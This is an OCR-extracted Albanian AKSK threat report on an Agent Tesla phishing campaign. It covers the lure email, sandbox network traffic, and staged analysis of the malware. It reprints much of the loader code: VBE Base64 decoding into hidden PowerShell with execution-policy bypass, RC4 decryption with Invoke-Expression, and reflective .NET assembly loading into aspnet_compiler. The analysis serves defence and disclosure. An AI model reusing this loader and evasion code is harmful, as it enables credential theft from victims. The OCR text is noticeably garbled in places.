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Raporti &shté hartuar pér t€ dokumentuar dhe analizuar tentativa sulmesh kibernetike ndaj
infrastrukturave Kritike né Republikén e Shqipéris€. Pérmbajtja e kétij raporti bazohet né
informacionet e disponueshme deri né€ datén e pérfundimit té analizés.

Pércjellja e kétij raporti ka pér qéllim informimin dhe ndérgjegjésimin e paléve té interesuara
mbi tentativat e dokumentuara. Raporti nuk duhet trajtuar si pérfundimtar deri né pérditésimin
final té tij.

Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti éshté bazuar né informacionet t€ vendosura né dispozicion
né momentin e pérgatitjes s¢ tij. Ndérkohé, disa aspekte mund t€ jené té ndryshme nga
zhvillimet aktuale.

Faza e dyté:

Detajet e analiz€s: Pér shkak té kufizimeve burimore, disa aspekte té skedarit malinj mund t&
mos jené analizuar thell€sisht. Cdo informacion shtes€ i panjohur mund té reflektojé né
ndryshime t€ raportit.

Faza e treté:

Siguria e informacionit: Pér t€ mbrojtur burimet dhe informacionet konfidenciale, disa detaje
mund té jené t€ zbutura ose jo t& pérfshira né raport. Ky vendim &sht€ marré pér t€ mbajtur
integritetin dhe siguriné e t& dhénave té pérdorura.

AKSK rezervon té drejtén pér t€ ndryshuar, pérditésuar, ose ndryshuar ¢farédo pjesé té kétij

raporti pa lajmérim paraprak.

Autorét e pérgatitjes sé analizés nuk marrin pérgjegjési pér pérdorimin e gabuar ose pasojat
e ndonjé vendimmarrjeje té bazuar né kété raport.
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Pérmbledhje Ekzekutive

o Eshté identifikuar njé fushaté ndérkombétare Phishing e cila pérdor servera email-esh
té komprometuara pér t€ shpérndaré dokumenta me pérmbajtje keqdashése (p.sh.
.vbe, .vbs, .docm me macro ,etj.) g€ shénjestrojné institucione geveritare, organizata
té ndryshme , biznese dhe individé fundoré.

o Skedari 1 zbuluar korrespondon me Agent Tesla (familja Trojan / information-
stealer): vjedh kredenciale nga shfletues interneti, klient¢ FTP/SSH/WinSCP/Putty,
keylogging dhe eksfiltrim pérmes SMTP (simple mail transfer protocol - postés
elektronike).

o Pika e interesit: pérdorim i mjeteve legjitime t€ Windows: WScript/cScript,
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile, dhe
skripteve t&€ enkoduar me Base64 dhe mé pas té enkriptuara me RC4 (¢elési i ruajtur né
Base64 né skript).

e Rreziku: llogari t€ komprometuara, humbje kredencialesh, shfryté€zim i brendshém pér
1&vizje né rrjet, shkelje privatésie dhe eksfiltrim i t€ dhénave.

Raporti thekson nevojén pér vigjilencé dhe masa proaktive pérballé kércénimeve kibernetike
té sofistikuara, duke véné né pah réndésiné e pérditésimeve té rregullta dhe zbatimit té
praktikave té rekomanduara té sigurisé pér té mbrojtur infrastrukturén kritike.

Informacione Teknike

Eshté identifikuar qarkullimi i njé fushate ndérkombétare Phishing, ku aktorét keqdashés
shénjestrojné infrastruktura geveritare, organizata t&€ ndryshme dhe individé fundoré me qéllim
mashtrimin dhe vjedhjen e informacioneve né sistemet e tyre. Pérmbatja e emailit t€ dyshimté
ka si subjekt “RE: RE: Konfirmimi i porosisé” dhe né rastet e evidentuara éshté dérguar nga
e njéjta adres€ email “muhasebe[@]erbkulimal.Jcom/.[Jtr”, ku gjithashtu pérmban dhe njé
skedar té bashkélidhur me emrin : 9009278378273.tar, duke ndryshuar metodén e zakonshme
nga dérgimi me prapashtesén .zip.

RE: RE: Konfirmimi i porosisé

§ . € Reply | % Reply All F d i
financa gmuhasebe@erbulklima.com.tr| _© i giid L i il kot | G

To Tue 11/4/2025 11:22 AM

@ 9009278378273 tar .
1Me

Pérshéndetje.

Ne nuk kemi marré profaturén pér porosiné e bashkangjitur.
ju lutem dergoni sa me shpejt.

Té fala,

Departamenti i financave,

Lysiena Delhysa,

DYRRAHSPED Sh.p.k,

Address: Lagjia 3, Sheshi Liria, E.G.T Center, Kati 7 2003-Durres, Albania
Phone: +355689010948

Email: financa@dyrrahsped.com

Figura 1: Email Phishing.
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Nga analiza fillestare rezulton g€ njéri nga skedarét €shté 1 familjes Trojan, pérkatésisht Agent
Tesla RAT (remote access trojan), ku qéllimi kryesor éshté vjedhja e kredencialeve dhe
pérgjimi 1 sistemit (Spyware). Gjaté analiz€s u evidentua se ky virus merr kredencialet e
ruajtura té shfletuesve t€ ndryshém (Mozilla, Chrome etj.), Outlook, Discord, NordVPN et;.
Pérmes analizés s€ kodit burimor u evidentua niveli i fshehjes s€ shuméfishté sé skedaréve té
arkivuar dhe u gjetén kredenciale t€ cilat pérdoren pér t€ dérguar t€ dhénat e eksfiltruara pérmes
SmtpClient. Pér njé komunikim sa mé t€ sakt€ dhe t& fshehur, aktorét keqdashés pérdorin
emaile t€ kompromentuara pér t€ arritur qéllimet e tyre.

Analiza dinamike e skedarit 9009278378273.tar

Analiza dinamike konsiston né ekzekutimin e skedarit 9009278378273.tar pér t€ paré sjelljen

né€ njé€ ambjent t€ izoluar Sandbox. Pas shkarkimit t€ skedarit, kryhet procesi i ekstraktimit nga

ku u evidentua se €shté arkivuar né t€ njé skedar me emrin 9009278378273.vbe ( njé skedar i

enkoduar Visual Basic Script, tekniké e pérdorur shpesh tek skedaré keqdashés, ku do té

paraqitet e detajuar gjaté analizés statike t€ skedaréve t€ késaj fushate.

Né momentin e ekzekutimit t€ skedarit VBE, do té aktivizohen disa procese njékohé&sisht si mé
oshté :

[ICBjespnet_compiler exe

19,924 K

2348 aspnet_compiler.exe

= !’cscn'pt.exe <0.01 23684 K 31,632K 4524 Microsoft ® Console Based ... Microsoft Comporation
[ conhost exe 6.716 K 12,796 K 4880 Console Window Host Microsoft Corporation
= £ powershell.exe 283228 K 250,244 K 8596 Windows PowerShell Microsoft Corporation

Microsoft Corporation

Figura 2: Startimi i skedarit .vbe.

Nga aktiviteti i kryer i aspnet_compiler.exe evidentohet trafik i dyshimté né portén SMTP — 587 drejt
IP 185[.]159].]153].]76 g€ rezulton t€ jet€ me AS 201999 ( Fanavari Serverpars Argham
Gostar Company Ltd. ) me vendndodhje né€ Iran (IR).

M 3 Mbps Network 11O W 0% Ketwork Utilization A

Network Activity
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FD
System 4
svchost.exe {netsves -p) 6124
SearchApp,exe 4952
swehost.exe (NetworkService -p) 1838
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«nan
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429307 195576
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__________
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RS SRSE N SSr  SEET S

TCP Connections A

Image PID
4952

4352

Local

192.1...

Remo

443

Local ... Remate Address
49706  20.44.10.123
192.1... 49703 17, o
1921 43707
[3spnet_compiler.exe 1548 1821, 49685  185155.151.78
TSE T X008 135.032.50.737
netsucs -p 136 192.1., 498 3,221,201,

Packe.. laten o
SearchApp.exe

SearchApp.exe

49692
49369

20.190,177.20
23.40.158.218

Listening Ports v

Figura 3: Trafiku né rrjet i aspnet_compiler.exe.
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Z Q  185.159.153.76

() 5 detected files communicating with this IP address
9 185.150.153.76 (185.159.152.0/22)
ey AS 201999 (Fanavari Serverpars Argham Gostar Company Ltd. )
Score

DETECTION DETAILS. RELATIONS COMMUNITY 2

Join our Community and enjoy additional community insights and crowdsoureed detections, plus an AP! key to automate ehecks,

Security vendors' analysis ()

Abusix © clean Acronis

ADMINUSLabs © Clean AlLabs (MONITORAPP)
Alienvault (©) Clean alphaMountain.ai
Antiy-AVL () Clean benkow.cc
BitDefender () Clean Blueliv

Certego (© Clean Chong Lua Dao

CINS Army © clean CMC Threat Intelligence
CRDF © clean Criminal IP

Cyble (©) Clean CyRadar

@ cean
(©) Clean
©) Clean
() Clean
() Clean
) cean
@) clean
@ clean

©) Clean

C Reanalyze == Similar v More

13 Last Analysis Date
e 30 minutes ago

Do you want to automate checks?

Figura 4: Vlerésimi né Virustotal i IP Iraniane.

Analiza statike e skedarit 9009278378273.vbe

Nga analiza statike e skedarit VBE evidentohet né kodin burimor se aktorét keqdashés pér té
fshehur kodin kryejné enkodim n€ Base64 dhe aktivizojné pérdorimin e disa mjeteve legjitime

t&€ Windows si¢ jané : Wscript, Powershell, Cscript, Aspnet Compiler, Conhost etj.

Archive Edit View Help
B [ Open ~ @ Extract

T H Location:
Type

Encoded VBScript program

1object (1.2 MB)

9009278378
273.tar

Figura 55: Pérmbajtja e skedarit .tar.
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Kété skedar e konvertojmé né tekst nga ku analizojmé kodin. Klasa CommandExecutor dhe funksioni
Main béjné t€ mundur proceset e méposhtme :

e Lexon vargun e koduar Base64.

e E dekodon até né tekst (skript powershell).

e E shkruan né€ njé€ skedar t€ pé€rkohshém .ps1 né¢ C:\Temp\.

e Kiryen ekzekutimin e skedarit .ps1 me Powershell ( -ExecutionPolicy Bypass, pa profil, né
ményré jo-interaktive dhe t€ fshehté).
Fshin skedarin e pérkohshém pas ekzekutimit.
e Ruan njé objekt me rezultat success/message/timestamp.

Né funksionin Class_initialize() krijohen objektet e nevojshme q€ duhen pér t€ kryer té gjith€ zinxhirin
e progesit :

e Scripting.FileSystemObject (pér t€ punuar me skedaré/folders )

o  WScript.Shell (pér t€ ekzekutuar procese)
e  WScript.Network (pér emrin e kompjuterit)
[ )

Mund té déshtojé inicializimi; n€ két€ rast objekti i rezultatit tregon gabimin dhe m_isReady
béhet False.

(=] s009z78378273.00 £+ 3
Cption Explicit

Class CommandExecutor
Private m fileSystem, m shell, m network
Private m workingDirectory, m computerName, m result
Private m_scriptPath
Private m_isReady

9 Private Sub Class_Initialize()
10 InitializeObjects

11 SetupEnvironment

2 m_isReady = True

End Sub

Public Function ExecuteBase&4Command (encodedCommand)
ExecuteBasef4Command = ProcessEncodedCommand (encodedCommand)

End Function

18 Public Property Get ExecutionSuccessful ()

20 ExecutionSuccessful = m result("Success")
21 End Property

22

23 Public Property Get ScriptLocation(}

24 ScriptLocation = m_scriptPath

25 End Property

26

27 Public Property Get ExecutionResult ()

28 Set ExecutionResult = m result

28 End Property

Public Sub Cleanup ()
RemoveTemporaryScript
End Sub

Priwvate Sub InitializeObjects()
Cn Error Resume Next
Set m fileSystem = CreateObject("Scripting.FileSystemCbject"”)
Set m_shell = CreateCbject ("WScript.Shell")
Set m network = CreateObject ("WScript.Netwozrk")

If Err.Number <> 0 Then
Set m result = CreateResultCbject (False, "Failed to create reguired objects: " & Err.Description)
m_isReady = False
Else
Set m result = CreateResultCbject(Trus, "All cbjects initialized successfully")
End If
End Sub

Private Sub SetupEnvironment ()
m_workingDirectory = "C:\Temp\"
m_computerName = m network.ComputerName

52 End Sub

Figura 66: Komandat kryesore pér egzekutimin e base64.
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Metoda kryesore né két€ kod ExecuteBase64Command(encodedCommand) thérret
ProcessEncodedCommand qé:

Pastron string-un (heq hapésirat, tab, newline).

Verifikon né€ ményré themelore formatin Base64 (kontrollon gjatésiné mod 4).
Dekodon Base64 né tekst duke pérdorur MSXML2.DOMDocument.6.0 dhe
ADODB.Stream.

Shkruan tekstin e dekoduar né€ njé skedar .ps1.

Ekzekuton PowerShell pér até skedar.

Vendos njé objekt rezultati me sukses ose arsyen e déshtimit.

Dekodimi Base64 - Pérdoret createElement("'base64') me DataType = ""bin.base64" pér té
kthyer né binar, pastaj ADODB.Stream pér ta lexuar si UTF-8 dhe kthyer né tekst.

IE]BDDBE?EB?SE?B.b(t o ﬂ}

decodedContent = DecodeBase64String(processedInput)

If decodedConten
Set m_result
Exit Function

End If

= CreateResultObject (False, "Failed to decode base&4 data")

ProcessEncodedCommand = RunPowerShellScript (decodedContent)
End Function

Private Function CleanInput3tring(dirtyString)
Dim regexPattern
Set regexPattern = CreateCbject ("VBScript.RegExp")

regexPattern.Global = True
regexPattern.Pattern = "[ \Zt\r\n]"™
CleanInputString = regexPattern.Replace (dirtyString, "")

End Function

Private Function IsValidBaseé&4 (base&45tring)
IsValidBase64 = (Len(basef4String) > 0) And (Len(baseé45tring) Mod 4 = 0)
End Function

Priwvate Function DecodeBase645tring(encodedString)
On Error Resume Next
Dim xmlElement, binaryStream

Set xmlElement = CreateObject ("MSXMLZ.DOMDocument.&.0").createElement ("basesd™)
xmlElement.DataType = "bin.baseg4"

xmlElement .Text = encodedString

If Err.Number <> 0 Then
DecodeBaseé4String = ""
Exit Function

End If

Set binaryStream = CreateCbject ("ADODB.Stream”)
binaryStream.Type = 1

binaryStream.COpen

binaryStream.Write xmlElement.NodeTypedValue

binaryStream.Position = 0
binaryStream.Type = 2
binaryStream.Charset = "utf-g&"

DecodeBase645tring = binaryStream.ReadTlext
binaryStream.Close
End Function

Private Function RunPowerShellScript (scriptContent)
RunPowerShellScript = False

Figura 77: Funksionet pér dekodim.

Krijimi/ekzekutimi i skriptit

Krijohet dosja C:\Temp\ nése nuk ekziston.

Emri i skedarit gjenerohet me njé identifikues unik (karaktere rastésore + Timer).
Skripti shkruhet me CreateTextFile.

PowerShell thirret me komandén: powershell.exe -ExecutionPolicy Bypass -

Adresa: Rruga “Papa Gjon Pali II”, Nr. 3, Kati 1, Tirang;
Faqe web: www.aksk.gov.al E-mail: info@aksk.gov.al
Tel./Fax: 04 2221 039
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NoProfile -Nonlnteractive -WindowStyle Hidden -NoLogo -Command "& {if
(Test-Path 'C:\Temp\script_xyz.psl') { & 'C:\Temp\script_xyz.ps1'}}"
Skripti kontrollon vetém ExitCode-in e procesit (0 = sukses).

= 9000278378273.0¢t & EA

205

Function Main()

End If
End Function

Private Function BuildPowerShellCommand ()
BuildPowerShellCommand = "powershell.exe -ExecutionPolicy Bypass -NoProfile " &
"-WindowStyle Hidden -NonInteractive -NoLogo " & _

"-Command ""& {if (Test-Path '" & m scriptPath & "') { & "™ & m scriptPath & "' }}"""
End Function

Private Function CreateResultObject (succe=zz5tatus, messagelext)
Dim resultDictionary
Set resultDictionary = CreateCbject ("Scripting.Dictionary™)

resultDictionary("Success") = successStatus
resultDictionary ("Message") = messageText
resultDictionary ("Timestamp”) = Now
resultDictionary("Computer”} = m computerName

Set CreateReszultCbject = resultDictionary
End Function

Private Sub RemoveTemporaryScript ()
Cn Error Resume Next
If m_scriptFath <> "" Then
If m fileSystem.FileExists(m scriptPath) Then
m fileSystem.DeleceFile m scriptPath, True
End If
m scriptPath = "7
End If
End Sub

Private Sub Class_Terminate()

Cleanup
Set m fileSystem = Nothing
Set m_shell = Nothing
Set m _netwWork = Nothing
End Sub
Class

Dim exrecutor, commandData, successFlag

commandData = "DQojIEVuY3J5cHR1ZCBOb3dlclNoZWrsIFNjcmlwdAOKIYBEbHRLcmshdGl2Z5B5Qz0gRGV] cnlwdGlvbiBpbXEsZW11bnRhdGlvihgOKD)

If Not VerifyExecutionHozst ()} Then
Main = 1
Exit Function

End If

Set executor = New Commandixecutor

If Mot executor.ExecutlionSuccessful Then
Main = 1
Exit Function

Figura 88: Funksionet e fshehura pér ekzekutim.

Pas ekzekutimit dhe dekodikimt té skedarit VBE , ruhet skedari me nj€ emér rastésor .ps1 dhe pérfundon
ciklin e fazés 1 (stagel).
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Analiza statike e skedarit .ps1 - Faza 2 (stage2)

Duke ndjekur té njéjtén logjiké dhe proceduré si n€ fazén 1(stagel), analizojmé skedarin .ps1 nga ku
evidentohet se aktorét keqdashés pérdorin njé tjetér nivel fshejeje duke pérdorur hase64+secrect key
base64 ose metod¢ alternative enkodimi duke pérdorur implementimin e RC4.
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Figura 99: Injektimi i fazés 2, me skedarin .psl.

Ky skript merr té dhéna té kriptuara né Base64 dhe njé celés né Base64, i konverton né byte, i
dekripton me njé implementim alternativ t&€ RC4, dhe mé pas ekzekuton rezultatin pérmes Invoke-
Expression.

Dekodim Base64 — RC4 dekriptim — ekzekutim i tekstit t€ dekriptuar si PowerShell.
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78378273 txt =l random.et 2 B3

# Encrypted PowerShell Script
# Alternative RC4 Decryption implementation

# Encrypted data and key in Baset64 format
$encDataBéd = "CYgSczHOWVIDIM7puKimdo4ELauQS2U4deVaVeFETU] 3bg5%26G2h%0s84yDSENuzufJX42TelPZw/ wS5J5TUgCGElpSED2gU3RmnPPT
SsecKeyB64 = 'IQfknu/LEC1g36]gN+wkYD=="

T

# Base&d conversion functions

10 £b&4ToBytes = |
1 param{[string] $b&4Str)
return [System.Convert]::FromBase645tring(sb64Str)

H

SencBytes
tkeyByrtes

£b64TcBytes SencDataBé4d
t£bE4ToBytes ssecKeyB64

# Alternative RC4 implementation with different wariable names and logic
¢ércdProc = {
param(
[byte[]l]$inputData,
[byte[]]ScryptEey
)

foutput
£3Table

new-object byte[] sinputData.length
new-object byte[] 256

# Initialize state table

for ($idx = 0; £idx -1t 256; sidx++) {
£sTable[$idx] = $idx

i

# Key acheduling with different algorithm
skeyIdz = 0
for ($idx = 0; Sidx -1t 2567 Sidx++) {
fkeyIdx = ($kevIdx + $3Table[$idx] + ScryptKev[$idx % ScryptEey.Lengthl) % 256

# Swap elements using intermediate wariable
$swapTemp = 5$s3Table[$idx]
£3Table[£idx] = $3Table[skeyIdx]
£3Table [§keyIdx] = S$swapTemp
i

# Stream generation with different counter names
sctrl

for ($idx = 0; £idx -1t sinputData.length; sidx++) {
soctrl = ($ctrl + 1) % 256
§ctr2 = (§ctr2 + §3Table[sctrl]) % 256

# Swap using arithmetic method
£3Table[$ctrl], $s3Taeble[$sctr2] = £sTable[$ctri2], ssTable[fctrl]

# HOR operation with different kevstream calculation
f£keyByte = $sTable[( ($3Table[§ctrl] + &=sTable[s5ctr2]) % 256)]
soutput[&idx] = sinputDatal[fidx] -bxor SkeyByte

1

return Soutput

H

(RSN

# Decryption wrapper function
fdecrvotRC4L = [

&
5
&
5

Figura 1010: Enkodimi me base64 dhe me algoritmin RCH4.
Implementimi alternativ i RC4 ($Src4Proc)

Ky éshté njé skenar klasik RC4 (me emra variablash t&€ ndryshém dhe disa ményra té
shkruara ndryshe), me dy faza kryesore:

Krijimi i tabelés S (0..255) —:

for ($idx = 0; $idx -1t 256; $idx++) {
$sTable[$idx] = $idx

Key Scheduling Algorithm (KSA) — tabela S bazuar né ¢gelés:

$keyldx =0

for ($idx = 0; $idx -1t 256; $idx++) {
$keyldx = ($keyldx + $sTable[$idx] + $cryptKey[$idx % $cryptKey.Length]) % 256
swap $sTable[$idx] and $sTable[$keyldx]

}

Adresa: Rruga “Papa Gjon Pali II”, Nr. 3, Kati 1, Tirang;
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PRGA — gjenerim keystream dhe XOR:

1. Dy counters ($ctrl, $ctr2) evoluojné dhe pérziejné tabelén S mé tej.
2. Pér c¢do byte t€ inputit, llogaritet njé keyByte nga tabela dhe béhet output[$idx] =
inputData|[S$idx] -bxor $keyByte.

Kjo bén té mundur enkriptimin e algoritmit RC4: KSA + PRGA + XOR.

Funksioni i dekriptimit dhe konvertimi né tekst:

$decryptRC4 = {
param([byte[]]$encBytes, [byte[]]$keyBytes)
$decBytes = & $rc4Proc -inputData $encBytes -cryptKey $keyBytes
$scriptText = [System. Text.Encoding]::UTF8.GetString($decBytes)
return $scriptText

}

RC4 kthen njé byte[] té dekriptuar; pastaj ai array konvertohet né string UTF-8 — ky string
&shté skript PowerShell (ose ndonjé kod tjetér ).

Ekzekutimi i rezultatit :

$decryptedScript = & $decryptRC4 -encBytes $encBytes -keyBytes $keyBytes

if ($decryptedScript) {

Invoke-Expression -Command $decryptedScript
} else {

Write-Host "Decryption failed!"

}

Adresa: Rruga “Papa Gjon Pali II”, Nr. 3, Kati 1, Tirang;
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1B sooszraazsera.t [= random.txt £+ B

26 55Table = new-object bytel] 256
27
28 # Initialize state table
29 for ($idx = 0; $idx -1t 256; Sidm++) [
30 $oTable[sidx] = $idx
31 1
32
33 # Key scheduling with different algorithm
34 fkeyldx = 0
35 for (§idx = 0; $idx -1t 256; Sidx++) [
36 $keyIdx = ($keyTdx + ¢sTable[¢idx] + $cryptKey[tidx % $cryptKey.length]) & 256
37
EE] 4 Swap elements using intermediate variable
39 $swapTemp = &sTable[$idx]
40 $sTable[sidx] = $sTable[$keyldx]
41 $oTable[skeyldx] = SswapTemp
a2 1
43
44 4 Stream generation with different counter names
45 gotrl = 0
46 sotr2z = 0
47
48 for (5idx = 0; $idx -lt $inputData.length; $idx++) {
49 gctrl = (§ctrl + 1) % 256
50 $ctr2 = ($octrl + ¢aTable[sctrl]) & 256
51
52 # Swap using arithmetic method
53 $sTable[Sctrl], $sTable[$ctr2] = §sTable[$ctr2], $sTable[$ctrl]
54
55 # XKOR cperation with different keystream calculation
B $keyByte = $aTable[((53lable[Sctrl] + &sTable[$ctr2]) % 256)]
57 $output[§idx] = $inputData[$idx] -bxor $keyByte
58 1
59
60 return §output
61 1
62
63 # Decryption wrapper function
64 sdecryptRC4 = {
65 param(
66 [byte[]]sencBytes,
&7 [byte []]skeyBytes
68 )
63
70 try |
$decBytes = s ErcdProc -inputData SencBytes -cryptHey SkeyBytes
§scriptText = [System.Text.Encoding]::UTFS.Get5tring(sdecBytes)
return §scriptText
}
catch {
Write-Error & .Exception.Message
return $null
1
}
# Execute decryption and run seript
tdecryptedScript = & SdecryptRC4 -encBytes $encBytes -keyBytes tkeyBytes
if (sdecryptedScript) {
Invoke-Expression -Command SdecryptedScript h
] else {
g7 Write-Host "Decrypticn failed!™
B8 1
g9

Figura 1111: Dekriptimi i algoritmit RC4.

Nése dekriptimi funksionon, pérdoret Invoke-Expression pér té ekzekutuar tekstin si komandé
PowerShell. Kjo do té béjé ¢cdo komandé g€ €shté né tekst t€ ekzekutohet menjéheré né makinén ku e
drejton skriptin.

Kétu pérfundon faza 2 (stage2) dhe pas ekzekutimit , do té ruhet njé skedar i ri .ps1 né€ vendndodhjen
C:\Users\|[emri i pérdoruesit]\AppData\Local\Temp\emri_i_skedarit.psl. Ky skedar teston nése
AppLocker &shté né LockDown Mode dhe ¢ kalon at€ n€ até gjendje dhe mé tej do té nis€ faza 3
(stage3).

[C:\Users\user\AppData\Local\Temp\_PSScriptPolicyTest_phk12eua.st3.ps1 |

Process: CAWi Y indowsPo! 1.0\p exe D

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 60

Entropy (8bit) 4.038920595031593

Encrypted: false

SSDEEP:

MDS: D17FEOA3F47BE24A6453E9EF58C94641 G

SHA1 6AB83620379FC69F80C0242105DDFFD7D98D5D9ID (4]

SHA-256: 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 D
SHA-512: 5B592E58F26C264604F98F6AA12860758CE6G06D1C63220736CFOCT7IEAE18E3CECS706930A16C38B20161754D1017D1657D35258E58CA22B18F5B8232880DECS2 (7]
Malicious: false

Reputation: unknown

Preview: rr PowerShell test file to determine ApplLocker lockdown mode I

Figura 1212: Skedari .ps1 qé teston AppLocker.
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Analiza statike e skedarit .psl - Faza 3 (stage3)

Né vazhdim t€ ekzekutimit evidentohet njé skript q€ €shté njé ngarkesé pérfundimtare e shkruar dhe do
te ekzekutohet né PowerShell g€ kryen kéto veprim :

Definon funksionet bazé :

Invoke-ManagedAssembly([Byte[]|SRawAssemblyBytes, $TargetTypeName,
$TargetMethodName, $MethodArguments)

— ngarkon njé€ assembly .NET direkt nga njé€ varg bajtesh (Assembly::Load), gjen njé tip (GetType)
dhe thérret njé€ metod¢ statike publike (GetMethod + Invoke) duke kaluar argumentet e dhéna.

Test-ProcessAbsent($ProcessName)
— kontrollon nése procesi me emrin e dhéné€ mungon (kthen 7rue nése nuk gjendet).

Loop-i monitorues

Start-MonitoringRoutine vendos njé€ loop t€ pafund qé ¢do CheckIntervalSeconds (default Ss)
kontrollon nése procesi i monitoruar (default "Aspnet_compiler") nuk &shté aktiv.

Kur procesi mungon, skripti:
e merr njé string Base64 dhe e dekodon: FromBase64String('TVqQQAAMAAAAE...").
e Ruan rrugén e njé binari .NET framework (Aspnet_compiler.exe) si argument té paré.

e Pérgatit njé ExecutionPayload (tregohet si njé byte array qé fillon me 77,90,.. qé
korrespondon me header-in MZ té njé PE).

o Thérret Invoke-ManagedAssembly me: (decodedAssemblyBytes, ' BLACKHAWK.DOWN',
'SHOOT!, [object[]]@($frameworkToolPath, $ExecutionPayload))

— pra thérret metodén statike BLACKHAWK.DOWN::SHOOT né assembly-né e dekoduar,

duke i kaluar si argument rrugén e aspnet_compiler.exe dhe payload-in né byte.

e ME pas pret dhe vazhdon loop-in.

Pasi Invoke-ManagedAssembly ngarkon assembly-né, metoda SHOOT mund t€ b&€ shumé
njékohésisht:

o Té ekzekutojé kod .NET brenda procesit (fileless execution),
e Té shkruajé ExecutionPayload né disk si .exe/.dll dhe ta startojé (p.sh. Process.Start),

e Ose té béjé reflective injection (ngarkim/ekzekutim té PE nga memoria pa e shkruar né
disk).

Emrat (BLACKHAWK.DOWN, SHOOT) dhe pérdorimi i aspnet_compiler sugjerojné pé€rdorim t&
teknikave “living-off-the-land” si abuzim me binare legjitime pér t€ fshehur aktivitetin.

Adresa: Rruga “Papa Gjon Pali II”, Nr. 3, Kati 1, Tirang;
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273 it | B random it [= Decodedfromreatet # B
DECRYPTED PBAYLORD ===

2 function Invoke-ManagedAssembly [
3 param

4 [Byte []1]5Raw mhlyBytes,
E [string] $Tar ypeName,

[string]$Tar th
[ebject[]]$MethodArguments

9 try |

10 ¢ Load assembly into current applica
11 §loadedAssembly = [System.Reflect isgembly] : : Load (§RawAssenblyBytes)

1z ¢ Get the specified type from the ed assembly

13 stargetType = §loadedissenbly.GetType (§TargetTypeName)

14 ¢ Configure binding flags for static public methods

tion.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static

gtargetMethod = §targetType.GetMethod (§TargetMethodName, $bindingittributes)

if (snull -eg &targetMethod) |
Write-Warning "Method '4TargetMethodName' not found in type 'éTargetTypeName'"
return snull

# Invoke the static method with provided arguments
return $targetMethod.Invoke (snull, &Methodirguments)

catch {
Hrite-Error "Assembly method invocation failed: §(§_.Exception.Message)™
return $null
}
1
function Test-ProcessAbsent {
param([string] $ProcessName)

$processExists = Get-Process -Name $ProcessName -Errorfction SilentlyCentinue
return (-not §processExista)
1
# Main monitoring and executicn routine
function Start-MonitoringRoutine {
param(
[string] $MonitorProcessNeme = "Aspnet_compiler™,
[int]¢CheckIntervalSeconds = §

do {
if (Iest-Processhbsent -ProcessName sMonitorProcessName) {
# Decode the basefd enceded assembly
£decodedi, yBytes = [System.Convert]::FromBaseé4String('IVgQAAMRA
sframework’ 1Path = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_¢

# Define the target framework tool path

$# Prepsre method invocation parameters

# Execute the aszsembly method
gexecuticonResult = Invoke-ManagedAssembly -RawRssemblyByt

ecodedAssemblyBytes
HAWK. DOWN' -~

# Update payload for next iteration
[Byte[]]4ExecutionPaylead = (77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0,6 }

# Wait before next check
9 Start-Sleep -Seconds §CheckIntervalSeconds
€0 } while (strue)

61
62 # Start the monitoring process
63 Start-MonitoringRoutine

Figura 1313: Pérmbajtja e kodit pér ngarkesén finale.

Assembly.Load(byte[]) pranon vetém managed .NET assemblies; nése bajtet pérmbajné njé PE native
(non-managed exe/dll), Assembly.Load zakonisht do t& déshtojé — pérve¢ nése kodi €shté managed
ose assembly-ja e ngarkuar implementon mekanizma pér t€ trajtuar njé PE t€ papérpunuar (p.sh. veté-
loader g€ shkruan PE né disk dhe e ekzekuton).

ExecutionPayload fillon me 77,90 (ASCII pér MZ) — ky é&shté€ header i njé PE (Portable Executable),
pra bajtet e payload-it duken si nj€ file PE (exe/dll).

Aktualisht egzistojn€ dy skenarg :

1- Dekodimi prodhon njé managed .NET assembly — Assembly.Load ngarkon até dhe metoda
SHOOT ekzekuton logjikén (mund t€ jeté loader brenda tij q€ pérdor bajtet e dyté pér t&
krijuar/ekzekutuar njé PE).

2- Dekodimi prodhon njé native PE — Assembly.Load veté do t€ d€shtojé, por skripti tregon se
njé€ managed assembly i dekoduar (i paré né hapin e par€) pritet t€ ekzistojé q€ t€ marré si
argument bajtet e payload-it (t& cilat jané PE) dhe té kryejé veprime me to (shkruaj disk,
injektim, etj.). Pra jané dy nivele: njé managed loader + njé PE payload.

Pérdorimi i njé Aspnet_compiler path si argument mund t€ jeté vetém pér t’u fshehur ose pér té
pérdorur funksionalitetin e atij binari; por mé e zakonshme &shté q€ €shté maskim (LOLBin) dhe
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aktualisht té gjitha veprimet kryhen né Runtime népérmjet kétij mjeti.

Duke vazhduar me dekodimin, nga Base64 do t€ dal€ njé binar PE nga ku mund t€ jeté .dll ose .exe.
Nése assembly-ja e dekoduar ésht€ njé managed loader, ajo mund té shkruajé bajtet e
ExecutionPayload né disk si emér skedari.exe ose emér skedari.dll, pra t€ gjenerojé skedarin dhe mé
pas ta ekzekutojé Process.Start ose ta injektojé né Runtime.

Nése Base64 i paré vet€ €shté njé managed assembly, ai do t€ ekzekutojé metodén SHOOT g€ mund
té importe/eksportojé payload-in né njé file té ri.

== DECRYPTED PAYLORAD === |
Tinction Invore-Managedissembly {

param(
[Byte[]]$RawhssemblyBytes,
[string] $TargetTypeName,
[string] $TargetMethodName,
[cbject[] ] $MethodArguments

{

# Load assembly into current application domain

$loadedAssembly = [System.Reflection.Assembly]::Load($RawAssemblyBytes

# Get the specified type from the loaded assembly

$targetType = §loadedAssembly.GetType (§TargetTypeName)

# Configure binding flags for static public methods

¢bindingAttributes = [System.Reflecticn.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static

# Retrieve the method informaticn

$targetMethed = $targetType.GetMethod($TargetMethodName, $bindingAttributes

if ($null -eq $targetMethod) {
Write-Warning "Method '$TargetMethodName' not found in type '$TargetTypeName'"
return $null

# Invoke the static method with provided arguments
return $targetMethod.Invoke($null, $MethodArguments)
}
catch {
Write-Error "Assembly methed invocation failed: §($_.Exception.Message)™
return $null
}
}
function Test-ProcessAbsent {
param([string] $ProcessName)

$processExists = Get-Process -Name $ProcessName -ErrorAction SilentlyCcntinue
return (-not $processExists)
i
# Main monitoring and executicn routine
function Start-MonitoringRoutine {
param(
